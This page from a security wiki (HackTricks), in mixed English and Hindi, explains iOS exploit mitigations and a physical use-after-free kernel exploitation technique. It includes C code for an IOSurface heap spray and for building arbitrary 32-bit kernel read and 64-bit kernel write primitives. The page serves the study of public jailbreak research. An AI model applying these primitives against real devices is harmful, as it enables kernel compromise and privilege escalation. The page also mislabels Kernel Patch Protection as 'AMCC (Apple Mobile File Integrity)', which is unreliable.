mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
230 lines
20 KiB
Markdown
230 lines
20 KiB
Markdown
# iOS Physical Use After Free via IOSurface
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
|
||
## iOS Exploit Mitigations
|
||
|
||
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
|
||
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
|
||
- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming).
|
||
- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts.
|
||
- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control.
|
||
- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash.
|
||
- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly.
|
||
- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably.
|
||
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
|
||
- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
|
||
|
||
|
||
## Physical use-after-free
|
||
|
||
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||
|
||
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||
|
||
iOS पर user processes के लिए **virtual memory address space** **0x0 से 0x8000000000** तक फैला हुआ होता है। हालाँकि, ये addresses सीधे physical memory से मैप नहीं होते। इसके बजाय, **kernel** virtual addresses को वास्तविक **physical addresses** में translate करने के लिए **page tables** का उपयोग करता है।
|
||
|
||
#### Levels of Page Tables in iOS
|
||
|
||
Page tables तीन स्तरों में hierarchical रूप से व्यवस्थित होते हैं:
|
||
|
||
1. **L1 Page Table (Level 1)**:
|
||
* यहाँ हर entry virtual memory के एक बड़े क्षेत्र का प्रतिनिधित्व करती है।
|
||
* यह **0x1000000000 bytes** (या **256 GB**) की virtual memory को कवर करती है।
|
||
2. **L2 Page Table (Level 2)**:
|
||
* यहाँ की एक entry virtual memory के एक छोटे क्षेत्र का प्रतिनिधित्व करती है, विशेष रूप से **0x2000000 bytes** (32 MB)।
|
||
* अगर एक L1 entry पूरे क्षेत्र को स्वयं मैप नहीं कर सकती तो वह एक L2 table की ओर इशारा कर सकती है।
|
||
3. **L3 Page Table (Level 3)**:
|
||
* यह सबसे सूक्ष्म स्तर है, जहाँ हर entry एक single **4 KB** memory page को मैप करती है।
|
||
* अगर अधिक बारीकी से नियंत्रण की आवश्यकता हो तो एक L2 entry L3 table की ओर इशारा कर सकती है।
|
||
|
||
#### Mapping Virtual to Physical Memory
|
||
|
||
* **Direct Mapping (Block Mapping)**:
|
||
* पेज टेबल की कुछ entries सीधे तौर पर एक range of virtual addresses को contiguous physical addresses के range से मैप कर देती हैं (एक तरह का शॉर्टकट)।
|
||
* **Pointer to Child Page Table**:
|
||
* अगर और अधिक बारीकी की जरूरत हो, तो एक स्तर की entry (उदा., L1) अगले स्तर पर एक **child page table** की ओर इशारा कर सकती है (उदा., L2)।
|
||
|
||
#### Example: Mapping a Virtual Address
|
||
|
||
मान लीजिए आप virtual address **0x1000000000** तक पहुंचने की कोशिश करते हैं:
|
||
|
||
1. **L1 Table**:
|
||
* kernel उस virtual address से संबंधित L1 page table entry की जाँच करता है। अगर उसमें **pointer to an L2 page table** है, तो वह उस L2 table पर जाता है।
|
||
2. **L2 Table**:
|
||
* kernel अधिक विस्तृत मैपिंग के लिए L2 page table की जाँच करता है। अगर इस entry में **pointer to an L3 page table** है, तो वह वहां जाता है।
|
||
3. **L3 Table**:
|
||
* kernel अंतिम L3 entry देखता है, जो वास्तविक memory page के **physical address** की ओर इशारा करती है।
|
||
|
||
#### Example of Address Mapping
|
||
|
||
यदि आप L2 table के पहले index में physical address **0x800004000** लिखते हैं, तब:
|
||
|
||
* Virtual addresses **0x1000000000** से **0x1002000000** तक physical addresses **0x800004000** से **0x802004000** तक मैप होंगे।
|
||
* यह L2 स्तर पर एक **block mapping** है।
|
||
|
||
वैकल्पिक रूप से, अगर L2 entry किसी L3 table की ओर इशारा करती है:
|
||
|
||
* Virtual address रेंज **0x1000000000 -> 0x1002000000** में हर 4 KB page को L3 table की व्यक्तिगत entries द्वारा मैप किया जाएगा।
|
||
|
||
### Physical use-after-free
|
||
|
||
एक **physical use-after-free (UAF)** तब होती है जब:
|
||
|
||
1. कोई process कुछ memory को **readable और writable** के रूप में **allocate** करता है।
|
||
2. **page tables** को अपडेट किया जाता है ताकि यह memory process के लिए एक specific physical address से मैप हो जाए।
|
||
3. process उस memory को **deallocate** (free) कर देता है।
|
||
4. हालांकि, किसी **bug** के कारण kernel **mapping को page tables से हटाना भूल जाता है**, जबकि वह corresponding physical memory को free चिह्नित कर देता है।
|
||
5. kernel फिर इस "freed" physical memory को अन्य उपयोगों (जैसे कि **kernel data**) के लिए **reallocate** कर सकता है।
|
||
6. क्योंकि mapping हटाया नहीं गया था, process अभी भी उस physical memory को **read और write** कर सकता है।
|
||
|
||
इसका मतलब है कि process **kernel memory के pages** तक पहुँच सकता है, जिनमें संवेदनशील डेटा या संरचनाएँ हो सकती हैं, और संभावित रूप से एक attacker को **kernel memory को manipulate** करने की अनुमति मिल सकती है।
|
||
|
||
### IOSurface Heap Spray
|
||
|
||
चूंकि attacker यह नियंत्रित नहीं कर सकता कि freed memory को किस specific kernel page पर allocate किया जाएगा, वे एक तकनीक का उपयोग करते हैं जिसे **heap spray** कहा जाता है:
|
||
|
||
1. attacker kernel memory में बहुत से IOSurface objects **create** करता है।
|
||
2. हर IOSurface object के एक field में एक पहचानयोग्य **magic value** होता है, जिससे पहचान आसान हो जाती है।
|
||
3. वे freed pages को **scan** करते हैं यह देखने के लिए कि क्या इनमें से कोई IOSurface object किसी freed page पर आ गया है।
|
||
4. जब उन्हें freed page पर एक IOSurface object मिलता है, तो वे इसका उपयोग करके **kernel memory को read और write** कर सकते हैं।
|
||
|
||
इस पर और जानकारी के लिए देखें [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||
|
||
> [!TIP]
|
||
> ध्यान रखें कि iOS 16+ (A12+) devices हार्डवेयर mitigations (जैसे PPL या SPTM) लाते हैं जो physical UAF तकनीकों को काफी कम प्रभावी बनाते हैं।
|
||
> PPL code signing, entitlements, और संवेदनशील kernel डेटा से जुड़े पेजों पर कड़े MMU protections लागू करता है, इसलिए भले ही कोई पेज reuse हो जाए, userland या compromised kernel code से PPL-protected पेजों पर लिखने की कोशिशें ब्लॉक हो जाती हैं।
|
||
> Secure Page Table Monitor (SPTM) PPL का विस्तार है और page table updates को खुद ही harden करता है। यह सुनिश्चित करता है कि यहां तक कि privileged kernel code भी freed pages को चुपचाप remap या mappings के साथ छेड़छाड़ नहीं कर सकता बिना secure checks के।
|
||
> KTRR (Kernel Text Read-Only Region) kernel के code section को boot के बाद read-only के रूप में लॉक कर देता है। यह किसी भी runtime बदलाव को रोकता है, जो physical UAF exploits अक्सर निर्भर करते हैं।
|
||
> इसके अलावा, `IOSurface` allocations अब कम predictable हैं और user-accessible क्षेत्रों में map करना कठिन है, जिससे “magic value scanning” ट्रिक कम भरोसेमंद हो जाती है। और `IOSurface` अब entitlements और sandbox restrictions द्वारा सुरक्षित है।
|
||
|
||
### Step-by-Step Heap Spray Process
|
||
|
||
1. **Spray IOSurface Objects**: attacker कई IOSurface objects create करता है जिनमें एक विशेष identifier ("magic value") होता है।
|
||
2. **Scan Freed Pages**: वे यह जाँचते हैं कि क्या इन objects में से कोई freed page पर allocate हुआ है।
|
||
3. **Read/Write Kernel Memory**: IOSurface object के fields को manipulate करके, वे kernel memory में **arbitrary reads और writes** करने की क्षमता प्राप्त कर लेते हैं। इससे वे कर पाते हैं:
|
||
* एक field का उपयोग करके kernel memory में किसी भी 32-bit value को **read** करना।
|
||
* दूसरे field का उपयोग करके 64-bit values **write** करना, जिससे एक स्थिर **kernel read/write primitive** प्राप्त होता है।
|
||
|
||
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
|
||
```c
|
||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||
if (*nClients >= 0x4000) return;
|
||
for (int i = 0; i < nSurfaces; i++) {
|
||
fast_create_args_t args;
|
||
lock_result_t result;
|
||
|
||
size_t size = IOSurfaceLockResultSize;
|
||
args.address = 0;
|
||
args.alloc_size = *nClients + 1;
|
||
args.pixel_format = IOSURFACE_MAGIC;
|
||
|
||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||
io_connect_t id = result.surface_id;
|
||
|
||
(*clients)[*nClients] = id;
|
||
*nClients = (*nClients) += 1;
|
||
}
|
||
}
|
||
```
|
||
एक मुक्त भौतिक पृष्ठ में **`IOSurface`** ऑब्जेक्ट्स खोजें:
|
||
```c
|
||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||
int nSurfaceIDs = 0;
|
||
|
||
for (int i = 0; i < 0x400; i++) {
|
||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||
|
||
for (int j = 0; j < nPages; j++) {
|
||
uint64_t start = puafPages[j];
|
||
uint64_t stop = start + (pages(1) / 16);
|
||
|
||
for (uint64_t k = start; k < stop; k += 8) {
|
||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||
info.object = k;
|
||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||
goto sprayDone;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
sprayDone:
|
||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||
if (surfaceIDs[i] == info.surface) continue;
|
||
iosurface_release(client, surfaceIDs[i]);
|
||
}
|
||
free(surfaceIDs);
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
### IOSurface के साथ Kernel Read/Write प्राप्त करना
|
||
|
||
kernel memory में एक IOSurface ऑब्जेक्ट (mapped to a freed physical page accessible from userspace) का नियंत्रण हासिल करने के बाद, हम इसे **arbitrary kernel read and write operations** के लिए उपयोग कर सकते हैं।
|
||
|
||
**IOSurface के प्रमुख फील्ड**
|
||
|
||
IOSurface ऑब्जेक्ट में दो महत्वपूर्ण फील्ड हैं:
|
||
|
||
1. **Use Count Pointer**: एक **32-bit read** की अनुमति देता है।
|
||
2. **Indexed Timestamp Pointer**: एक **64-bit write** की अनुमति देता है।
|
||
|
||
इन pointers को overwrite करके, हम उन्हें kernel memory में arbitrary addresses की ओर redirect कर सकते हैं, जिससे read/write क्षमताएँ सक्षम होती हैं।
|
||
|
||
#### 32-Bit Kernel Read
|
||
|
||
पढ़ने के लिए:
|
||
|
||
1. **use count pointer** को overwrite करके इसे target address से 0x14-बाइट कम offset पर point करें।
|
||
2. `get_use_count` मेथड का उपयोग करके उस address पर मौजूद value पढ़ें।
|
||
```c
|
||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||
uint64_t args[1] = {surfaceID};
|
||
uint32_t size = 1;
|
||
uint64_t out = 0;
|
||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||
return (uint32_t)out;
|
||
}
|
||
|
||
uint32_t iosurface_kread32(uint64_t addr) {
|
||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||
uint32_t value = get_use_count(info.client, info.surface);
|
||
iosurface_set_use_count_pointer(info.object, orig);
|
||
return value;
|
||
}
|
||
```
|
||
#### 64-बिट Kernel लिखना
|
||
|
||
लिखने के लिए:
|
||
|
||
1. **indexed timestamp pointer** को लक्ष्य पते पर ओवरराइट करें।
|
||
2. `set_indexed_timestamp` method का उपयोग करके 64-bit मान लिखें।
|
||
```c
|
||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||
uint64_t args[3] = {surfaceID, 0, value};
|
||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||
}
|
||
|
||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||
set_indexed_timestamp(info.client, info.surface, value);
|
||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||
}
|
||
```
|
||
#### Exploit Flow Recap
|
||
|
||
1. **Trigger Physical Use-After-Free**: फ्री पेज पुन: उपयोग के लिए उपलब्ध होते हैं।
|
||
2. **Spray IOSurface Objects**: kernel memory में unique "magic value" के साथ कई IOSurface objects आवंटित किए जाते हैं।
|
||
3. **Identify Accessible IOSurface**: अपने नियंत्रण वाले freed पेज पर एक IOSurface ढूँढें।
|
||
4. **Abuse Use-After-Free**: IOSurface object में pointers बदलकर IOSurface methods के माध्यम से arbitrary **kernel read/write** सक्षम करें।
|
||
|
||
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|